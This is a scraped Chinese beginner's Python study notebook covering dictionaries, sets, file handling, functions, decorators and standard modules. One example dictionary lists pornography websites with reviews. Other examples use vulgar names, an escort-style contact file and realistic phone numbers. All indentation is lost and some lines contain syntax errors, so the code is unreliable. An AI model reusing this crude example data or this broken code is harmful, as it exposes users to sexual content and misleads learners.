info['龙婷'][1]="设计部"#改变字典里面的列表里面的索引值是1对应的元素值？？？
print(info)
a = [1334,-32324,35532,2364]
print(a)
a.sort()#列表排序
print(a)
a.append(3355)
a.append(123334)
print(a)
a.sort()
print(a)
#简单算法：二分查找、折半查找、把字符串变成哈希、再把哈希排序、再通过哈希切片排序查找'''
#字典的增删查改：
'''info = {
'stu1101':'TengLan Wu',
'stu1102':'LongZe Luola',
'stu1103':'XiaoZe Maliya',
}
print(info)
info ['stu1104']= '苍井空'#增加
print(info)
info ['stu1101']= '武藤兰'#改
print(info)
print('stu1102' in info)#判断是不是在列表里面
print(info.get('stu1102'))#获取列表列表里面的数据用get
print(info.pop('shanshan'))'''
#多级字典嵌套：
'''av_catalog = {
'欧美':{
'www.youporn.com':['很多免费的,世界最大的','质量一般'],
'www.pornhub.com':['很多免费的,也很大','质量比youporn高点'],
'www.letmedothistoyou.com':['多是自拍,高质量图片很多','资源不多，更新'],
'www.x-art.com':['质量很高,真的很高','全部收费,屌丝轻饶过']
},
'日韩':{
'tokyo-hot':['质量怎么样不清楚，个人已经不喜欢日韩范了','听说是收费的']
},
'大陆':{
'1024':['全部免费,真好,好人一生平安','服务器在国外,慢']
}
}
av_catalog['大陆']['1024']['1'] += ',可以用爬虫爬下来'
print(av_catalog ['大陆']['1024'])'''
#添加字典：
'''info = {'alex':[24,'IT'],'rain':[24,'HR'],'jack':22}
print(info)
print(info.keys())#打印所有的keys也就是键值
print(info.values())#打印出所有的值
#print(info.)
print(info.items())#打印出info里面的把keys和values变成小元组，作用是把字典转成了列表'''
#update的用法把两个列表合并：
'''names = [['Alex',26,'技术部','工程师',13651054608],['shanshan',25,'公安部','野模',13374245235],['龙婷',24,
'设计部','UI',13824234452]]
info = {'alex':[24,'IT'],'rain':[24,'HR'],'jack':22}
dic2 = {1:2,2:3,'jack':[22,'jack Ma','Alibaba CEO']}#创建数字字典
print(names)
print(info)
print(dic2)
info.update(dic2)#info里面的值会改成dic2里面的并且覆盖掉变成了一个列表，有对应的值就覆盖、没对应的值就创建
print(info)
# setdefault(self, k, d=None): # real signature unknown; restored from __doc__
# """ D.setdefault(k[,d]) -> D.get(k,d), also set D[k]=d if k not in D先用get请求方法、如果存在就返回
# 里面的值，如果不存在的话就设置一个keys值
print(info.setdefault(2,'new 2')) #setdefafault的用法
print(info)
print(info.setdefault('test','new 2')) #setdefafault的用法
print(info)#再次打印出info会发生变化改成了新设置的值new2
#Return value.__format__(format_spec) format_spec defaults to the empty string
print(info.fromkeys(['A','B','C']))#附加新列表，返回了空None,字典里面都是A、B、C都是一个key
info.fromkeys(['A','B','C'],'Alex')#字典里面的key全部都附加成Alexvaules值
print(info)
print(info.fromkeys(['A','B','C'],'Alex'))#打印出字典里面的key全部都附加成Alexvaules值
print(info.)'''
#多级字典嵌套：
'''av_catalog = {
'欧美':{
'www.youporn.com':['很多免费的,世界最大的','质量一般'],
'www.pornhub.com':['很多免费的,也很大','质量比youporn高点'],
'www.letmedothistoyou.com':['多是自拍,高质量图片很多','资源不多，更新'],
'www.x-art.com':['质量很高,真的很高','全部收费,屌丝轻饶过']
},
'日韩':{
'tokyo-hot':['质量怎么样不清楚，个人已经不喜欢日韩范了','听说是收费的']
},
'大陆':{
'1024':['全部免费,真好,好人一生平安','服务器在国外,慢']
}
}
# av_catalog['大陆']['1024']['1'] += ',可以用爬虫爬下来'
# print(av_catalog ['大陆']['1024'])
av_catalog.setdefault()'''
#字典的循环用法：
'''info = {'alex':[24,'IT'],'rain':[24,'HR'],'jack':[22,'Jack Ma', 'Alibaba'], 1:2,2:3,'test':'new 2'}
print(info)
for k in info: #循环字典info里面的key值
print(k)#打印出循环的key值
for k in info:
print(k,info[k])#key和values都打印，打印k，通过k在info里面去找'''
#集合的用法：交集的用法
'''iphone7 = ['Alex','rain','jack','old_driver']
iphone8 = ['Alex','shanshan','jack','old_boy']
both_list = []
for name in iphone8 :
if name in iphone7 : #循环iphone8判断在iPhone里面每一个元素都有的话那么就增加到空列表里面
both_list.append(name)
print(both_list)#打印出即在iPhone7里又在iPhone8里面的值'''
#差集的用法：
'''iphone7 = ['Alex','rain','jack','old_driver']
iphone8 = ['Alex','shanshan','jack','old_boy']
li = []
for name in iphone7:
if name not in iphone8:
li.append(name)
print(li)#打印出即不在iPhone7里又在iPhone8里面的值'''
'''both_list = []
for is not name in iphone8 :
if name in iphone7 : #循环iphone8判断在iPhone里面每一个元素都有的话那么就增加到空列表里面
both_list.append(name)
print(both_list)#打印出即不在iPhone7里又在iPhone8里面的值'''
# info = {'alex':[24,'IT'],'rain':[24,'HR'],'jack':22}
# print(help(info))
#创建集合：
'''s = {}
sa = {1:2}
print(type(s))#如果是空的话是就是一个字典dict
print(type(sa))
s1 = {1,2}
print(type(s1))#反之有值的话就是集合set'''
#集合set实例如下：
'''s = {1,2,3,4}
print(s)
print(type(s))
s = {1,2,3,4,2,3,6}#往集合里面定义重复的数据
print(s)
#列表转集合实例：
L = [1,2,3,4,5,2,3]
print(L)
print(set(L))#列表转集合用set'''
######################
'''s = {1,2,3,4,5}
print(s)
#print(help(s))#打印出使用集合的一堆方法
s.add(2)#放进去重复的值是放不进去的
print(s)
s.add(6)
print(s)
#print(help(s.pop))#只打印出pop的源码：
print(s.pop())#随机删除
print(s)
print(s.pop())
print(s)
s.remove(6)
print(s)
#print(s.remove(6))
s.discard(6)
print(s)
#print(s.discard(6))#discard是如果存在的话直接删除也不会报错、remove会报错
s.discard(5)
print(s)
s.update([1,2,3,4,5])#集合里面增加多个值用update
print(s)
#print(s.update([1,2,3,4,5]))
s.clear()#清空所有值用clear
print(s)
print(s)'''
#数据类型集合：交集、差集、并集
'''iPhone7 = {'alex','rain','jack','old_driver'}
iPhone9 = {'alex','jack','shanshan','old_boy'}
print(iPhone7.intersection(iPhone9))#打印出iPhone7和iPhone9里面的交集用interpretation
print(iPhone7 & iPhone9)#另外一种写法
print(iPhone7.difference(iPhone9))#打印出只有iPhone7而没有iPhone9的差集用difference
print(iPhone7 - iPhone9)#用减号也行
print(iPhone7.union(iPhone9))#并集用union
print(iPhone7 | iPhone9)#也可用|'''
'''s = {1,2,3,4}
s2 = {2,3,4,5}
print(s2.union(s))#取并集
print(s.intersection(s2))#取交集
print(s.union(s2) - s.intersection(s2))#print()#取并集-交集也就是对称差集
print(s.symmetric_difference(s2))#用symmetric_difference
print(s^s2)'''
'''s = {1,2,3,4}
s2 = {2,3,5,6}
s2.add(1)
s2.add(4)
print(s2)
print(s.issubset(s2))#判断s是否是s2的子集用issubset
print(s2.issuperset(s))#判断s2是否是s的超集用issuperset
print(s.isdisjoint(s))
print(s)
print(s2)
s.add(-1)
s.add(-2)
print(s)
print(s2)
s.difference_update(s2)#把差集的结果赋给s
print(s)
print(s2)'''
#多级字典嵌套北京市地区：
'''memu = {
'北京':{
'海淀':{
'五道口':{
'soho':{},
'网易':{},
'google':{}
},
'中关村':{...},
'上地':{...},
},
'昌平':{...},
'朝阳':{...},
'东城':{...},
},
'上海':{...},
'上东':{...},
}
print(memu)'''
#函数之三元运算：
'''a = 2
b = 5
val = a if a<b else b
print(val)
val = a if 3<6 else b#或者可以换成具体值
print(val)'''
#打开GBK文件以文本模式：
'''f = open (file='兼职白领学生空姐模特护士联系方式.txt', mode='r',encoding='gbk')
data = f.read()
print(data)
f.close()'''
#打开GBK文件以二进制模式：
'''f = open (file='兼职白领学生空姐模特护士联系方式.txt', mode='rb')
data = f.read()
print(data)
f.close()'''
#导入第三方工具箱并判断类型：
'''import chardet #
f = open('兼职白领学生空姐模特护士联系方式.txt','rb')
data = f.read()
print(data)
print(chardet.detect(data)) #结果是{'encoding': 'GB2312', 'confidence': 0.823045267489712, 'language': 'Chinese'}
print(data.decode('gb2312')) #解码gb2312/gbk'''
#循环文件：
'''f = open('兼职白领学生空姐模特护士联系方式.txt',encoding='gbk')
for line in f:
print(line)
f.close()'''
#写文件用b模式：
'''f = open('兼职.txt','wb')
f.write('原子二号'.encode('gbk'))
f.close()'''
#追加模式用a
'''f = open('兼职.txt','ab')
f.write('\n肛娘 北京 167 55 13523230322'.encode('gbk'))
f.close()'''
#读写混合模式：
'''f = open('兼职.txt','r+',encoding='gbk')
data = f.read()
print('content',data)
f.write('\nnewline 1哈哈')
f.write('\nnewline 2哈哈')
f.write('\nnewline 3哈哈')
f.write('\nnewline 4哈哈')
print('new content',f.read())
print(f.read())'''
#修改
'''f = open('兼职.txt','r+')
f.seek(10) #先定位第10的位置
f.write('[路飞学城 luffycity]')
f.close()'''
###########################################
'''import os #这里调用工具箱是为了下面创建的新文件重命名
f_name = '兼职.txt' #先打开旧文件
f_new_name = '%s.new' %f_name #再创建新文件
old_str = '乔亦菲' #旧的文件里面的乔亦菲替换成下面的肛娘
new_str = '肛娘'
f = open(f_name,'r',encoding='utf-8')#r模式打开旧文件
f_new = open(f_new_name,'w',encoding='utf-8') #再次打开新文件f_new_name,w模式
for line in f : #循环旧文件这里的f已经上面在变量了旧文件f_name
if old_str in line : #如果旧文件在循环的line里面对的话
line = line.replace(old_str,new_str) #那么line等于是新文件替换成旧文件用replace
f_new.write(line)#往新的文件里面写line,否则没有的话就写原行
f.close() #最后再写两个关闭
f_new.close() #
os.rename(f_new_name,f_name) #重命名方式用工具箱os--调用系统命令'''
#函数：定义函数下面是不加参数的：
'''def sayhi():
print('hello')
print('my name is black boy')
print(sayhi)#不加括号显示的是内存地址
sayhi()#执行函数'''
#定义函数加参数的：
'''def sayhi(name): #括号里面的name叫参数
print('hello',name)
print('my name is black boy')
sayhi('Alex') #sayhi() missing 1 required positional argument: 'name'--意思就是sayhi缺少一个必要的位置参数'''
#传两个参数：
'''def calc(x,y):
res = x**y
print(res)
calc(5,10)
calc(2,10)#传的参数不一样、自定义的结果就不一样'''
#默认参数：
'''def stu_register(name,age,country,course):
print('----------注册学生信息-------')
print('姓名',name)
print('年龄',age)
print('国籍',country)
print('课程',course)
stu_register('王山炮',22,'CN','python_devops')
stu_register('张叫春',21,'CN','linux')
stu_register('刘老根',25,'CN','linux')'''
#默认参数实例2：
'''def stu_register(name,age,course,country='CN'):
print('registriation info....')
print(name,age,country,course)
stu_register('Alex',22,'python')
stu_register('jack',22,'python')
stu_register('rain',22,'python','korean')
#非默认参数不能跟在默认参数后面，默认参数要放在最后面'''
#关键参数：
'''def stu_register(name,age,course,country='CN'):
print('registriation info....')
print(name,age,country,course)
stu_register('Alex',course='python',age=22)'''
#报警、一个运维人员：
'''def send_alert(msg,user):
print('----')
print(msg,user)
send_alert('别他妈狼了','Alex')'''
#报警 、十个运维人员简单写法:user用户前面加*，然后下面加人员
'''def send_alert(msg,*users):#归根接地是把users变成元组了
for u in users:
print('报警发送给',u)
send_alert('别他妈妈的狼了','alex')
send_alert('别他妈妈的狼了','alex','dsad')
send_alert('别他妈妈的狼了','alex','dsad','sddsadsa')
send_alert('别他妈狼了',*['alex','xxx','dasdasdas'])#直接用元组的形式写'''
########################用带两个**的接受的关键字参数
'''def func(name,*args,**kwargs): #这里先定义一个函数用def、括号里面是对应下面的要填写的值
print(name,args,kwargs)
func('alex',22,'tesla','500w',addr='山东',num=12442342)#会变成key和value
d = {'degree':'primary school'} #这里定义d、学历小学
func('peiqi',**d) #还是要传入参数name是peiqi，元组里面是字典、
#综上面的代码不加*直接是值、加一个*会变成元组、两个**会变成字典、但是等于字典的形式要加等号'''
#函数返回值False：
'''def stu_register(name,age,course):
print(name,age,course)
if age>22:
return False
else:
return True
status = stu_register('peiqi',29,'安保')
print(status)'''
#也可以返回值name名字：
'''def stu_register(name,age,course):
print(name,age,course)
if age>22:
return name
else:
return True #碰到return函数就结束了
status = stu_register('peiqi',29,'安保')
print(status)'''
#函数返回多个值：
'''def stu_register(name,age,course):
print(name,age,course)
if age>22:
return [name,age] #函数return有且只能返回一个值、如果想要返回多个值需要用逗号,隔开并且
# 变成了元组返回，但依然还是一个值元组或列表，
else:
return True
status = stu_register('peiqi',29,'安保')
print(status)'''
#改变函数值：局部变量--在函数值里面定义的变量就叫做局部变量
'''name = 'black girl'
def change_name():
name = '黑色的姑娘'
print('在',name,'里面...',id(name))#查内存地址加id
change_name()#函数里面可以修改
print(name,id(name))#外面不能改'''
#局部变量+全局变量应用：
'''name = 'black girl'
def change_name():
#name = '黑色的姑娘' #局部里面的修改外面的不叫修改叫创建，
print('在',name,'里面...',id(name))
def func2():
name = 'rain'
func2()
change_name()
print(name,id(name))'''
#局部变量修改外面全局变量的用global--全局
'''name = 'black girl'
def change_name():
global name #global一般情况下不用
name = '黑色的姑娘'
age = 25
print('在',name,'里面...',id(name))
change_name()
print(name,id(name))'''
#局部变量修改列表：
'''names = ['alex','black girl','peiqi']
def change_name():
names = ['alex','black girl']
print(names)
change_name()
print(names)'''
#删除列表里面的用del
'''names = ['alex','black girl','peiqi']
def change_name():
del names[2] #删除列表里面的索引值2对应的元素值
names[1]='黑姑娘'
print(names)
change_name()
print(names)'''
#嵌套函数：
'''def func1():
print('alex')
def func2():
print('eric')
func1() #内部定义的函数不会被打印也就是不会被调用'''
#嵌套函数2：
'''def func1():
print('alex')
def func2():
print('eric') #此时只是先放在这里
def func3():
print('zd')
def func4():
print('xiaohong')
func4()
func3()
func2()
func1()'''
#嵌套函数年龄举例子：
'''age = 19
def func1():
age = 73
print(age)
def func2():
age = 84
print(age)
func2()
func1()'''
#嵌套：
'''age = 19
def func1():
def func2():
print(age)
age = 73
func2()
func1()'''
#嵌套函数作用域：
'''age =18
def func1():
age = 73
def func2():
print('age') #所有的局部变量放在了当前的作用域里面
return 666
val = func1()
print(val)'''
#函数作用域2：返回函数不加括号
'''age = 18
def func1():
age = 73
def func2():
print('age')
return func2
val = func1()
print(val)
val()
print(val())'''
#匿名函数：
'''def calc(x,y):
return x*y
func=lambda x,y:x*y #声明一个匿名函数
print(func(3,8))'''
#匿名函数的除法加判断运算：
'''def calc(x,y):
if x<y:
return x*y
else:
return x/y
func = lambda x,y:x*y if x < y else x/y
print(calc(16,8))
print(func(16,8))'''
#实现列表里面自乘：
'''data = list(range(10))
print(data)
for index,i in enumerate(data):
data[index] = i*i
print(data)'''
#用map方法：
'''def f2(n):
return n*n
print(list(map(lambda x:x*x,data)))'''
#高阶函数：
'''def func(x,y):
return x+y
def calc(x):
return x
n = func
print(calc(func))'''
'''def func2(x,y):
return abs,x,y
res = func2(3,-10)
print(res[0],(res[1]+res[2]))'''
#递归
'''def func():
pass
def calc(n):
n = int(n/2)
print(n)
if n >0:
calc(n)
# r1 = calc(10)
# r2 = calc(r1)
# r3 = calc(r2)
# print(r3)
calc(10)'''
#调用工具包：
'''import sys
sys.setrecursionlimit(10000)
print(sys.getrecursionlimit())'''
#递归最后：
'''def calc(n,count):
print(n,count)
if count<5:
calc(n/2,count+1)
res = calc(188,1)
print('res',res)'''
#递归练习题：
'''menus = [
{
'text':'北京',
'children':[
{'text':'朝阳','children':[]},
{'text':'昌平','children':[
{'text':'沙河','children':[]},
{'text':'回龙观','children':[]},
]},
]
},
{
'text':'上海',
'children':[
{'text':'宝山','children':[]},
{'text':'金山','children':[]},
]
}
]'''
#打印所有的节点：----------------------------------------对应以后程序员面试深度查询
#找到一个节点沙河、打印、返回true---------------------------对应以后程序员面试深度查询
#exec的用法
code = '''
def foo():
print('run foo')
return 1234
foo()
'''
'''res = eval('1+3+3')
res2 = exec('1+3+3')
#res = exec(code)#返回一个值
print('res',res,res2)#exec拿不到这个结果'''
'''a = 97
print(a)
print(ord('a'))#
print(chr(97))
print(chr(65))
print(chr(49))
a = [1,4,5,-1,3,0]
print(a)
print(sum(a))
s = 'abcd路飞'
print(s)#字符串是有一个个字符组成的
print(s[0])
# s[0]='A'
# print(s)
print(s)
print(s[0])
s = s.encode('utf-8')
print(s)
print(s[0])
# s[0]=98
# print(s)
s= bytearray(s)#原内存地址修改
print(s)
print(s[0])
s[0]=65
print(s)
print(s[4])
s[4]=233
print(s)
print(s.decode())
print(s)
print(id(s[0]))
s[0]=66
print(s)
print(id(s[0]))
s[0]=67
print(s)
print(id(s))'''
#map
'''print(list(map(lambda x: x*x, [1,2,3,4,5])))
print(list(filter(lambda x : x>3, [1,2,3,4,5])))
import functools
print(functools.reduce(lambda x,y:x+y,[1,3,4,5,6678,4,2]))#累加
print(functools.reduce(lambda x,y:x*y, [1,3,4,5,6678,4,2]))#累乘'''
'''s = 'hey , my name is alex\n, from shandong'
print(s)
print(s,end=',')
print(s,sep='')
print('haifeng','gangniang')
print('haifeng','gangniang',sep='>-')'''
#把数据直接打印到文件里
#_*_coding:utf-8_*_
'''msg = '又回到最初的起点'
f = open('print_tofile','w')
print(msg,'记忆中你青涩的脸',sep='|',end='',file=f)
print(msg,'记忆中你青涩的脸',sep='|',end='',file=f)'''
#
'''a = [1,4,5,-1,3,0]
print(a)
def f():
pass
print(f)
print(callable(f))
print(a)
print(callable(a))
s = {12,3,4,4}
s.discard(3)
print(s)
s = frozenset(s)
print(s)
s.difference()
print(s)
vars()#当前所有的变量打印出来
print(s)
print(vars()) #当前所有的变量打印出来用vars（）
print(dir())
def f():
n = 3
print(locals())
print(f())
print(globals())
print(repr(s))'''
#zip
'''a = [1,2,3,4,5]
b = ['a','b','c']
print(a)
print(b)
print(zip(a))
print(list(zip(a,b)))'''
#
'''print(complex(3,5))
print(round(1.2344434))
print(round(1.2344434,2))
#delattr,hasattr,getattr,setattr,
print(hash('abc'))
print(hash('abc'))
print(hash('abc'))
print(set([12,3,4,4]))'''
#
'''n = 10
def func():
n = 20
print('func:',n)
def func2():
n = 30
print('func2',n)
def func3():
print('func3:',n)
func3()
func2()
func()'''
#闭包：
'''def func():
n = 10
def func2():
print('func2:',n)
return func2
f = func()
print(f)#打印完以后内存地址释放完毕
f()'''
#装饰器：
'''user_status = False
def login(func):
_username = 'alex'
_password = 'abc!23'
global user_status
if user_status == False:
username = input('user:')
password = input('pasword:')
if username == _username and password == _password:
print('welcome login....')
user_status = True
else:
print('wrong username or password!')
else:
print('用户已登录,验证通过...')
if user_status:
func()
def home ():
print('-----首页---------')
def america():
print('-----欧美专区-------')
def japan ():
print('-----日韩专区----------')
def henan():
print('------河南专区--------')
login(henan)
login(america)'''
#生成器：
'''a =[i+1 for i in range(10)]
print(a)
print([i*i for i in a ])
a = [0,1,4,9,16,25,36,49,64,81]
print(a)
a = [i if i < 5 else i*i for i in a]
print(a)'''
#
'''a = [i for i in range(1000)]
print(a)
a2 = (i for i in range(1000))
print(a2)
print(next(a2))
print(next(a2))'''
#
'''a3 = (i for i in range(5))
for i in a3 :
print(i)'''
#
'''def fib(max):
n,a,b = 0,0,1
while n < max:
print(b)
a,b = b, a+b
n = n+1
return 'done'''
#模块调用：
#from socket（用于网络编程） import AF_INET
#自定义模块：
'''def sayhi(name):
print('hello',name)
def saybye(name):
print('bye',name)
sayhi('alex')'''
#
'''import sys
print(sys.path)'''
#打印当前本地时间：
'''import time
print(time.localtime()) #打印当前系统时间
a = time.localtime() #再次定义变量为的是打印下面的每个值
print(a.tm_year)#打印年
print(a.tm_mon)#
print('%s-%s-%s'%(a.tm_year,a.tm_mon,a.tm_mday))#拼接年月日
print(time.gmtime())#打印出英国时间'''
#
'''import random
print(random.randint(1,100))#传参数1到100之间并随机打印出来包含100
print(random.randrange(1,100))#不包含100
print(random.random())#随机浮点数
print(random.choice('zvxczx35242343'))#从字符串里面随机返回一个值
print(random.sample('dfsdfs45643',3))#随机返回三个值并形成列表的形式
import string
print(string.digits)#生成随机验证码
print(string.ascii_letters)#
print(string.ascii_lowercase)#只显示小写
print(string.ascii_uppercase)#只显示大写
print(string.ascii_lowercase+string.digits)#显示小写加数字
print(string.punctuation)#显示特殊字符
s = string.ascii_lowercase + string.digits
print(random.sample(s,5))#生成五位的字母加数字随机验证码
print(random.sample(string.ascii_lowercase+string.digits,5))#生成五位的字母加数字随机验证码一把过
print(''.join(random.sample(string.ascii_lowercase+string.digits,5)))#生成五位的字母加数字随机验证码一把过连起来'''
'''d = list(range(100))#
print(d)
print(list(range(100)))#
d = list(range(100))
import random
print(random.shuffle(d))#随机/乱序排用shuffle
print(random.shuffle(list(range(100))))
print(d)
# e = random.shuffle(list(range(100)))
# print(e)'''
#
'''import sys
print(sys.argv)#打印程序本身路径
print(sys.version)
print(sys.maxsize)
print(sys.path)
print(sys.platform)
print(sys.stdout)
print(sys.stdout.write('hey'))
print(sys.stdout.write('hey23'))
print(sys.getrecursionlimit())
print(sys.getdefaultencoding())
print(sys.getfilesystemencoding())'''
#
'''import shutil
f2 = 'sheve_test_new.py'
f1 = open('sheve_test.py','r')
f2 = open('sheve_test_new.py','w')
shutil.copy(f1,f2)'''
2019-1-7-路飞21天入门源码
猜你喜欢
转载自www.cnblogs.com/zhang-da/p/10236003.html
今日推荐
周排行